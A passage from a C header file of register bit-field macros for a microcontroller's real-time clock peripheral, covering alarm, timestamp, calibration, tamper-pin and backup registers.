*****************/ #define RTC_WUTR_WUT_Pos (0U) #define RTC_WUTR_WUT_Msk (0xFFFFU << RTC_WUTR_WUT_Pos) /*!< 0x0000FFFF */ #define RTC_WUTR_WUT RTC_WUTR_WUT_Msk /******************** Bits definition for RTC_ALRMAR register ***************/ #define RTC_ALRMAR_MSK4_Pos (31U) #define RTC_ALRMAR_MSK4_Msk (0x1U << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ #define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk #define RTC_ALRMAR_WDSEL_Pos (30U) #define RTC_ALRMAR_WDSEL_Msk (0x1U << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ #define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk #define RTC_ALRMAR_DT_Pos (28U) #define RTC_ALRMAR_DT_Msk (0x3U << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ #define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk #define RTC_ALRMAR_DT_0 (0x1U << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ #define RTC_ALRMAR_DT_1 (0x2U << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ #define RTC_ALRMAR_DU_Pos (24U) #define RTC_ALRMAR_DU_Msk (0xFU << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ #define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk #define RTC_ALRMAR_DU_0 (0x1U << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ #define RTC_ALRMAR_DU_1 (0x2U << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ #define RTC_ALRMAR_DU_2 (0x4U << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ #define RTC_ALRMAR_DU_3 (0x8U << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ #define RTC_ALRMAR_MSK3_Pos (23U) #define RTC_ALRMAR_MSK3_Msk (0x1U << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ #define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk #define RTC_ALRMAR_PM_Pos (22U) #define RTC_ALRMAR_PM_Msk (0x1U << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ #define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk #define RTC_ALRMAR_HT_Pos (20U) #define RTC_ALRMAR_HT_Msk (0x3U << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ #define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk #define RTC_ALRMAR_HT_0 (0x1U << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ #define RTC_ALRMAR_HT_1 (0x2U << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ #define RTC_ALRMAR_HU_Pos (16U) #define RTC_ALRMAR_HU_Msk (0xFU << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ #define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk #define RTC_ALRMAR_HU_0 (0x1U << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ #define RTC_ALRMAR_HU_1 (0x2U << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ #define RTC_ALRMAR_HU_2 (0x4U << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ #define RTC_ALRMAR_HU_3 (0x8U << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ #define RTC_ALRMAR_MSK2_Pos (15U) #define RTC_ALRMAR_MSK2_Msk (0x1U << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ #define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk #define RTC_ALRMAR_MNT_Pos (12U) #define RTC_ALRMAR_MNT_Msk (0x7U << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ #define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk #define RTC_ALRMAR_MNT_0 (0x1U << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ #define RTC_ALRMAR_MNT_1 (0x2U << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ #define RTC_ALRMAR_MNT_2 (0x4U << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ #define RTC_ALRMAR_MNU_Pos (8U) #define RTC_ALRMAR_MNU_Msk (0xFU << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ #define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk #define RTC_ALRMAR_MNU_0 (0x1U << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ #define RTC_ALRMAR_MNU_1 (0x2U << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ #define RTC_ALRMAR_MNU_2 (0x4U << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ #define RTC_ALRMAR_MNU_3 (0x8U << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ #define RTC_ALRMAR_MSK1_Pos (7U) #define RTC_ALRMAR_MSK1_Msk (0x1U << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ #define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk #define RTC_ALRMAR_ST_Pos (4U) #define RTC_ALRMAR_ST_Msk (0x7U << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ #define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk #define RTC_ALRMAR_ST_0 (0x1U << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ #define RTC_ALRMAR_ST_1 (0x2U << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ #define RTC_ALRMAR_ST_2 (0x4U << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ #define RTC_ALRMAR_SU_Pos (0U) #define RTC_ALRMAR_SU_Msk (0xFU << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ #define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk #define RTC_ALRMAR_SU_0 (0x1U << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ #define RTC_ALRMAR_SU_1 (0x2U << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ #define RTC_ALRMAR_SU_2 (0x4U << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ #define RTC_ALRMAR_SU_3 (0x8U << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ /******************** Bits definition for RTC_ALRMBR register ***************/ #define RTC_ALRMBR_MSK4_Pos (31U) #define RTC_ALRMBR_MSK4_Msk (0x1U << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ #define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk #define RTC_ALRMBR_WDSEL_Pos (30U) #define RTC_ALRMBR_WDSEL_Msk (0x1U << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ #define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk #define RTC_ALRMBR_DT_Pos (28U) #define RTC_ALRMBR_DT_Msk (0x3U << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ #define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk #define RTC_ALRMBR_DT_0 (0x1U << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ #define RTC_ALRMBR_DT_1 (0x2U << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ #define RTC_ALRMBR_DU_Pos (24U) #define RTC_ALRMBR_DU_Msk (0xFU << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ #define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk #define RTC_ALRMBR_DU_0 (0x1U << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ #define RTC_ALRMBR_DU_1 (0x2U << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ #define RTC_ALRMBR_DU_2 (0x4U << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ #define RTC_ALRMBR_DU_3 (0x8U << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ #define RTC_ALRMBR_MSK3_Pos (23U) #define RTC_ALRMBR_MSK3_Msk (0x1U << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ #define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk #define RTC_ALRMBR_PM_Pos (22U) #define RTC_ALRMBR_PM_Msk (0x1U << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ #define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk #define RTC_ALRMBR_HT_Pos (20U) #define RTC_ALRMBR_HT_Msk (0x3U << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ #define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk #define RTC_ALRMBR_HT_0 (0x1U << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ #define RTC_ALRMBR_HT_1 (0x2U << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ #define RTC_ALRMBR_HU_Pos (16U) #define RTC_ALRMBR_HU_Msk (0xFU << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ #define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk #define RTC_ALRMBR_HU_0 (0x1U << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ #define RTC_ALRMBR_HU_1 (0x2U << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ #define RTC_ALRMBR_HU_2 (0x4U << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ #define RTC_ALRMBR_HU_3 (0x8U << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ #define RTC_ALRMBR_MSK2_Pos (15U) #define RTC_ALRMBR_MSK2_Msk (0x1U << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ #define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk #define RTC_ALRMBR_MNT_Pos (12U) #define RTC_ALRMBR_MNT_Msk (0x7U << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ #define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk #define RTC_ALRMBR_MNT_0 (0x1U << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ #define RTC_ALRMBR_MNT_1 (0x2U << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ #define RTC_ALRMBR_MNT_2 (0x4U << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ #define RTC_ALRMBR_MNU_Pos (8U) #define RTC_ALRMBR_MNU_Msk (0xFU << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ #define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk #define RTC_ALRMBR_MNU_0 (0x1U << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ #define RTC_ALRMBR_MNU_1 (0x2U << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ #define RTC_ALRMBR_MNU_2 (0x4U << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ #define RTC_ALRMBR_MNU_3 (0x8U << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ #define RTC_ALRMBR_MSK1_Pos (7U) #define RTC_ALRMBR_MSK1_Msk (0x1U << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ #define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk #define RTC_ALRMBR_ST_Pos (4U) #define RTC_ALRMBR_ST_Msk (0x7U << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ #define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk #define RTC_ALRMBR_ST_0 (0x1U << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ #define RTC_ALRMBR_ST_1 (0x2U << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ #define RTC_ALRMBR_ST_2 (0x4U << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ #define RTC_ALRMBR_SU_Pos (0U) #define RTC_ALRMBR_SU_Msk (0xFU << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ #define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk #define RTC_ALRMBR_SU_0 (0x1U << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ #define RTC_ALRMBR_SU_1 (0x2U << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ #define RTC_ALRMBR_SU_2 (0x4U << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ #define RTC_ALRMBR_SU_3 (0x8U << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ /******************** Bits definition for RTC_WPR register ******************/ #define RTC_WPR_KEY_Pos (0U) #define RTC_WPR_KEY_Msk (0xFFU << RTC_WPR_KEY_Pos) /*!< 0x000000FF */ #define RTC_WPR_KEY RTC_WPR_KEY_Msk /******************** Bits definition for RTC_SSR register ******************/ #define RTC_SSR_SS_Pos (0U) #define RTC_SSR_SS_Msk (0xFFFFU << RTC_SSR_SS_Pos) /*!< 0x0000FFFF */ #define RTC_SSR_SS RTC_SSR_SS_Msk /******************** Bits definition for RTC_SHIFTR register ***************/ #define RTC_SHIFTR_SUBFS_Pos (0U) #define RTC_SHIFTR_SUBFS_Msk (0x7FFFU << RTC_SHIFTR_SUBFS_Pos) /*!< 0x00007FFF */ #define RTC_SHIFTR_SUBFS RTC_SHIFTR_SUBFS_Msk #define RTC_SHIFTR_ADD1S_Pos (31U) #define RTC_SHIFTR_ADD1S_Msk (0x1U << RTC_SHIFTR_ADD1S_Pos) /*!< 0x80000000 */ #define RTC_SHIFTR_ADD1S RTC_SHIFTR_ADD1S_Msk /******************** Bits definition for RTC_TSTR register *****************/ #define RTC_TSTR_PM_Pos (22U) #define RTC_TSTR_PM_Msk (0x1U << RTC_TSTR_PM_Pos) /*!< 0x00400000 */ #define RTC_TSTR_PM RTC_TSTR_PM_Msk #define RTC_TSTR_HT_Pos (20U) #define RTC_TSTR_HT_Msk (0x3U << RTC_TSTR_HT_Pos) /*!< 0x00300000 */ #define RTC_TSTR_HT RTC_TSTR_HT_Msk #define RTC_TSTR_HT_0 (0x1U << RTC_TSTR_HT_Pos) /*!< 0x00100000 */ #define RTC_TSTR_HT_1 (0x2U << RTC_TSTR_HT_Pos) /*!< 0x00200000 */ #define RTC_TSTR_HU_Pos (16U) #define RTC_TSTR_HU_Msk (0xFU << RTC_TSTR_HU_Pos) /*!< 0x000F0000 */ #define RTC_TSTR_HU RTC_TSTR_HU_Msk #define RTC_TSTR_HU_0 (0x1U << RTC_TSTR_HU_Pos) /*!< 0x00010000 */ #define RTC_TSTR_HU_1 (0x2U << RTC_TSTR_HU_Pos) /*!< 0x00020000 */ #define RTC_TSTR_HU_2 (0x4U << RTC_TSTR_HU_Pos) /*!< 0x00040000 */ #define RTC_TSTR_HU_3 (0x8U << RTC_TSTR_HU_Pos) /*!< 0x00080000 */ #define RTC_TSTR_MNT_Pos (12U) #define RTC_TSTR_MNT_Msk (0x7U << RTC_TSTR_MNT_Pos) /*!< 0x00007000 */ #define RTC_TSTR_MNT RTC_TSTR_MNT_Msk #define RTC_TSTR_MNT_0 (0x1U << RTC_TSTR_MNT_Pos) /*!< 0x00001000 */ #define RTC_TSTR_MNT_1 (0x2U << RTC_TSTR_MNT_Pos) /*!< 0x00002000 */ #define RTC_TSTR_MNT_2 (0x4U << RTC_TSTR_MNT_Pos) /*!< 0x00004000 */ #define RTC_TSTR_MNU_Pos (8U) #define RTC_TSTR_MNU_Msk (0xFU << RTC_TSTR_MNU_Pos) /*!< 0x00000F00 */ #define RTC_TSTR_MNU RTC_TSTR_MNU_Msk #define RTC_TSTR_MNU_0 (0x1U << RTC_TSTR_MNU_Pos) /*!< 0x00000100 */ #define RTC_TSTR_MNU_1 (0x2U << RTC_TSTR_MNU_Pos) /*!< 0x00000200 */ #define RTC_TSTR_MNU_2 (0x4U << RTC_TSTR_MNU_Pos) /*!< 0x00000400 */ #define RTC_TSTR_MNU_3 (0x8U << RTC_TSTR_MNU_Pos) /*!< 0x00000800 */ #define RTC_TSTR_ST_Pos (4U) #define RTC_TSTR_ST_Msk (0x7U << RTC_TSTR_ST_Pos) /*!< 0x00000070 */ #define RTC_TSTR_ST RTC_TSTR_ST_Msk #define RTC_TSTR_ST_0 (0x1U << RTC_TSTR_ST_Pos) /*!< 0x00000010 */ #define RTC_TSTR_ST_1 (0x2U << RTC_TSTR_ST_Pos) /*!< 0x00000020 */ #define RTC_TSTR_ST_2 (0x4U << RTC_TSTR_ST_Pos) /*!< 0x00000040 */ #define RTC_TSTR_SU_Pos (0U) #define RTC_TSTR_SU_Msk (0xFU << RTC_TSTR_SU_Pos) /*!< 0x0000000F */ #define RTC_TSTR_SU RTC_TSTR_SU_Msk #define RTC_TSTR_SU_0 (0x1U << RTC_TSTR_SU_Pos) /*!< 0x00000001 */ #define RTC_TSTR_SU_1 (0x2U << RTC_TSTR_SU_Pos) /*!< 0x00000002 */ #define RTC_TSTR_SU_2 (0x4U << RTC_TSTR_SU_Pos) /*!< 0x00000004 */ #define RTC_TSTR_SU_3 (0x8U << RTC_TSTR_SU_Pos) /*!< 0x00000008 */ /******************** Bits definition for RTC_TSDR register *****************/ #define RTC_TSDR_WDU_Pos (13U) #define RTC_TSDR_WDU_Msk (0x7U << RTC_TSDR_WDU_Pos) /*!< 0x0000E000 */ #define RTC_TSDR_WDU RTC_TSDR_WDU_Msk #define RTC_TSDR_WDU_0 (0x1U << RTC_TSDR_WDU_Pos) /*!< 0x00002000 */ #define RTC_TSDR_WDU_1 (0x2U << RTC_TSDR_WDU_Pos) /*!< 0x00004000 */ #define RTC_TSDR_WDU_2 (0x4U << RTC_TSDR_WDU_Pos) /*!< 0x00008000 */ #define RTC_TSDR_MT_Pos (12U) #define RTC_TSDR_MT_Msk (0x1U << RTC_TSDR_MT_Pos) /*!< 0x00001000 */ #define RTC_TSDR_MT RTC_TSDR_MT_Msk #define RTC_TSDR_MU_Pos (8U) #define RTC_TSDR_MU_Msk (0xFU << RTC_TSDR_MU_Pos) /*!< 0x00000F00 */ #define RTC_TSDR_MU RTC_TSDR_MU_Msk #define RTC_TSDR_MU_0 (0x1U << RTC_TSDR_MU_Pos) /*!< 0x00000100 */ #define RTC_TSDR_MU_1 (0x2U << RTC_TSDR_MU_Pos) /*!< 0x00000200 */ #define RTC_TSDR_MU_2 (0x4U << RTC_TSDR_MU_Pos) /*!< 0x00000400 */ #define RTC_TSDR_MU_3 (0x8U << RTC_TSDR_MU_Pos) /*!< 0x00000800 */ #define RTC_TSDR_DT_Pos (4U) #define RTC_TSDR_DT_Msk (0x3U << RTC_TSDR_DT_Pos) /*!< 0x00000030 */ #define RTC_TSDR_DT RTC_TSDR_DT_Msk #define RTC_TSDR_DT_0 (0x1U << RTC_TSDR_DT_Pos) /*!< 0x00000010 */ #define RTC_TSDR_DT_1 (0x2U << RTC_TSDR_DT_Pos) /*!< 0x00000020 */ #define RTC_TSDR_DU_Pos (0U) #define RTC_TSDR_DU_Msk (0xFU << RTC_TSDR_DU_Pos) /*!< 0x0000000F */ #define RTC_TSDR_DU RTC_TSDR_DU_Msk #define RTC_TSDR_DU_0 (0x1U << RTC_TSDR_DU_Pos) /*!< 0x00000001 */ #define RTC_TSDR_DU_1 (0x2U << RTC_TSDR_DU_Pos) /*!< 0x00000002 */ #define RTC_TSDR_DU_2 (0x4U << RTC_TSDR_DU_Pos) /*!< 0x00000004 */ #define RTC_TSDR_DU_3 (0x8U << RTC_TSDR_DU_Pos) /*!< 0x00000008 */ /******************** Bits definition for RTC_TSSSR register ****************/ #define RTC_TSSSR_SS_Pos (0U) #define RTC_TSSSR_SS_Msk (0xFFFFU << RTC_TSSSR_SS_Pos) /*!< 0x0000FFFF */ #define RTC_TSSSR_SS RTC_TSSSR_SS_Msk /******************** Bits definition for RTC_CAL register *****************/ #define RTC_CALR_CALP_Pos (15U) #define RTC_CALR_CALP_Msk (0x1U << RTC_CALR_CALP_Pos) /*!< 0x00008000 */ #define RTC_CALR_CALP RTC_CALR_CALP_Msk #define RTC_CALR_CALW8_Pos (14U) #define RTC_CALR_CALW8_Msk (0x1U << RTC_CALR_CALW8_Pos) /*!< 0x00004000 */ #define RTC_CALR_CALW8 RTC_CALR_CALW8_Msk #define RTC_CALR_CALW16_Pos (13U) #define RTC_CALR_CALW16_Msk (0x1U << RTC_CALR_CALW16_Pos) /*!< 0x00002000 */ #define RTC_CALR_CALW16 RTC_CALR_CALW16_Msk #define RTC_CALR_CALM_Pos (0U) #define RTC_CALR_CALM_Msk (0x1FFU << RTC_CALR_CALM_Pos) /*!< 0x000001FF */ #define RTC_CALR_CALM RTC_CALR_CALM_Msk #define RTC_CALR_CALM_0 (0x001U << RTC_CALR_CALM_Pos) /*!< 0x00000001 */ #define RTC_CALR_CALM_1 (0x002U << RTC_CALR_CALM_Pos) /*!< 0x00000002 */ #define RTC_CALR_CALM_2 (0x004U << RTC_CALR_CALM_Pos) /*!< 0x00000004 */ #define RTC_CALR_CALM_3 (0x008U << RTC_CALR_CALM_Pos) /*!< 0x00000008 */ #define RTC_CALR_CALM_4 (0x010U << RTC_CALR_CALM_Pos) /*!< 0x00000010 */ #define RTC_CALR_CALM_5 (0x020U << RTC_CALR_CALM_Pos) /*!< 0x00000020 */ #define RTC_CALR_CALM_6 (0x040U << RTC_CALR_CALM_Pos) /*!< 0x00000040 */ #define RTC_CALR_CALM_7 (0x080U << RTC_CALR_CALM_Pos) /*!< 0x00000080 */ #define RTC_CALR_CALM_8 (0x100U << RTC_CALR_CALM_Pos) /*!< 0x00000100 */ /******************** Bits definition for RTC_TAFCR register ****************/ #define RTC_TAFCR_PC15MODE_Pos (23U) #define RTC_TAFCR_PC15MODE_Msk (0x1U << RTC_TAFCR_PC15MODE_Pos) /*!< 0x00800000 */ #define RTC_TAFCR_PC15MODE RTC_TAFCR_PC15MODE_Msk #define RTC_TAFCR_PC15VALUE_Pos (22U) #define RTC_TAFCR_PC15VALUE_Msk (0x1U << RTC_TAFCR_PC15VALUE_Pos) /*!< 0x00400000 */ #define RTC_TAFCR_PC15VALUE RTC_TAFCR_PC15VALUE_Msk #define RTC_TAFCR_PC14MODE_Pos (21U) #define RTC_TAFCR_PC14MODE_Msk (0x1U << RTC_TAFCR_PC14MODE_Pos) /*!< 0x00200000 */ #define RTC_TAFCR_PC14MODE RTC_TAFCR_PC14MODE_Msk #define RTC_TAFCR_PC14VALUE_Pos (20U) #define RTC_TAFCR_PC14VALUE_Msk (0x1U << RTC_TAFCR_PC14VALUE_Pos) /*!< 0x00100000 */ #define RTC_TAFCR_PC14VALUE RTC_TAFCR_PC14VALUE_Msk #define RTC_TAFCR_PC13MODE_Pos (19U) #define RTC_TAFCR_PC13MODE_Msk (0x1U << RTC_TAFCR_PC13MODE_Pos) /*!< 0x00080000 */ #define RTC_TAFCR_PC13MODE RTC_TAFCR_PC13MODE_Msk #define RTC_TAFCR_PC13VALUE_Pos (18U) #define RTC_TAFCR_PC13VALUE_Msk (0x1U << RTC_TAFCR_PC13VALUE_Pos) /*!< 0x00040000 */ #define RTC_TAFCR_PC13VALUE RTC_TAFCR_PC13VALUE_Msk #define RTC_TAFCR_TAMPPUDIS_Pos (15U) #define RTC_TAFCR_TAMPPUDIS_Msk (0x1U << RTC_TAFCR_TAMPPUDIS_Pos) /*!< 0x00008000 */ #define RTC_TAFCR_TAMPPUDIS RTC_TAFCR_TAMPPUDIS_Msk #define RTC_TAFCR_TAMPPRCH_Pos (13U) #define RTC_TAFCR_TAMPPRCH_Msk (0x3U << RTC_TAFCR_TAMPPRCH_Pos) /*!< 0x00006000 */ #define RTC_TAFCR_TAMPPRCH RTC_TAFCR_TAMPPRCH_Msk #define RTC_TAFCR_TAMPPRCH_0 (0x1U << RTC_TAFCR_TAMPPRCH_Pos) /*!< 0x00002000 */ #define RTC_TAFCR_TAMPPRCH_1 (0x2U << RTC_TAFCR_TAMPPRCH_Pos) /*!< 0x00004000 */ #define RTC_TAFCR_TAMPFLT_Pos (11U) #define RTC_TAFCR_TAMPFLT_Msk (0x3U << RTC_TAFCR_TAMPFLT_Pos) /*!< 0x00001800 */ #define RTC_TAFCR_TAMPFLT RTC_TAFCR_TAMPFLT_Msk #define RTC_TAFCR_TAMPFLT_0 (0x1U << RTC_TAFCR_TAMPFLT_Pos) /*!< 0x00000800 */ #define RTC_TAFCR_TAMPFLT_1 (0x2U << RTC_TAFCR_TAMPFLT_Pos) /*!< 0x00001000 */ #define RTC_TAFCR_TAMPFREQ_Pos (8U) #define RTC_TAFCR_TAMPFREQ_Msk (0x7U << RTC_TAFCR_TAMPFREQ_Pos) /*!< 0x00000700 */ #define RTC_TAFCR_TAMPFREQ RTC_TAFCR_TAMPFREQ_Msk #define RTC_TAFCR_TAMPFREQ_0 (0x1U << RTC_TAFCR_TAMPFREQ_Pos) /*!< 0x00000100 */ #define RTC_TAFCR_TAMPFREQ_1 (0x2U << RTC_TAFCR_TAMPFREQ_Pos) /*!< 0x00000200 */ #define RTC_TAFCR_TAMPFREQ_2 (0x4U << RTC_TAFCR_TAMPFREQ_Pos) /*!< 0x00000400 */ #define RTC_TAFCR_TAMPTS_Pos (7U) #define RTC_TAFCR_TAMPTS_Msk (0x1U << RTC_TAFCR_TAMPTS_Pos) /*!< 0x00000080 */ #define RTC_TAFCR_TAMPTS RTC_TAFCR_TAMPTS_Msk #define RTC_TAFCR_TAMP2TRG_Pos (4U) #define RTC_TAFCR_TAMP2TRG_Msk (0x1U << RTC_TAFCR_TAMP2TRG_Pos) /*!< 0x00000010 */ #define RTC_TAFCR_TAMP2TRG RTC_TAFCR_TAMP2TRG_Msk #define RTC_TAFCR_TAMP2E_Pos (3U) #define RTC_TAFCR_TAMP2E_Msk (0x1U << RTC_TAFCR_TAMP2E_Pos) /*!< 0x00000008 */ #define RTC_TAFCR_TAMP2E RTC_TAFCR_TAMP2E_Msk #define RTC_TAFCR_TAMPIE_Pos (2U) #define RTC_TAFCR_TAMPIE_Msk (0x1U << RTC_TAFCR_TAMPIE_Pos) /*!< 0x00000004 */ #define RTC_TAFCR_TAMPIE RTC_TAFCR_TAMPIE_Msk #define RTC_TAFCR_TAMP1TRG_Pos (1U) #define RTC_TAFCR_TAMP1TRG_Msk (0x1U << RTC_TAFCR_TAMP1TRG_Pos) /*!< 0x00000002 */ #define RTC_TAFCR_TAMP1TRG RTC_TAFCR_TAMP1TRG_Msk #define RTC_TAFCR_TAMP1E_Pos (0U) #define RTC_TAFCR_TAMP1E_Msk (0x1U << RTC_TAFCR_TAMP1E_Pos) /*!< 0x00000001 */ #define RTC_TAFCR_TAMP1E RTC_TAFCR_TAMP1E_Msk /* Reference defines */ #define RTC_TAFCR_ALARMOUTTYPE RTC_TAFCR_PC13VALUE /******************** Bits definition for RTC_ALRMASSR register *************/ #define RTC_ALRMASSR_MASKSS_Pos (24U) #define RTC_ALRMASSR_MASKSS_Msk (0xFU << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ #define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk #define RTC_ALRMASSR_MASKSS_0 (0x1U << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ #define RTC_ALRMASSR_MASKSS_1 (0x2U << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ #define RTC_ALRMASSR_MASKSS_2 (0x4U << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ #define RTC_ALRMASSR_MASKSS_3 (0x8U << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ #define RTC_ALRMASSR_SS_Pos (0U) #define RTC_ALRMASSR_SS_Msk (0x7FFFU << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ #define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk /******************** Bits definition for RTC_ALRMBSSR register *************/ #define RTC_ALRMBSSR_MASKSS_Pos (24U) #define RTC_ALRMBSSR_MASKSS_Msk (0xFU << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ #define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk #define RTC_ALRMBSSR_MASKSS_0 (0x1U << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ #define RTC_ALRMBSSR_MASKSS_1 (0x2U << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ #define RTC_ALRMBSSR_MASKSS_2 (0x4U << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ #define RTC_ALRMBSSR_MASKSS_3 (0x8U << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ #define RTC_ALRMBSSR_SS_Pos (0U) #define RTC_ALRMBSSR_SS_Msk (0x7FFFU << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ #define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk /******************** Bits definition for RTC_BKP0R register ****************/ #define RTC_BKP0R_Pos (0U) #define RTC_BKP0R_Msk (0xFFFFFFFFU << RTC_BKP0R_Pos) /*!< 0xFFFFFFFF */ #define RTC_BKP0R RTC_BKP0R_Msk /******************** Bits definition for RTC_BKP1R register ****************/ #define RTC_BKP1R_Pos (0U) #define RTC_BKP1R_Msk (0xFFFFFFFFU << RTC_BKP1R_Pos) /*!< 0xFFFFFFFF */ #define RTC_BKP1R RTC_BKP1R_Msk /******************** Bits definition for RTC_BKP2R register ****************/ #define RTC_BKP2R_Pos (0U) #define RTC_BKP2R_Msk (0xFFFFFFFFU << RTC_BKP2R_Pos) /*!< 0xFFFFFFFF */ #define RTC_BKP2R RTC_BKP2R_Msk /******************** Bits definition for RTC_BKP3R register ****************/ #define RTC_BKP3R_Pos (0U) #define RTC_BKP3R_Msk 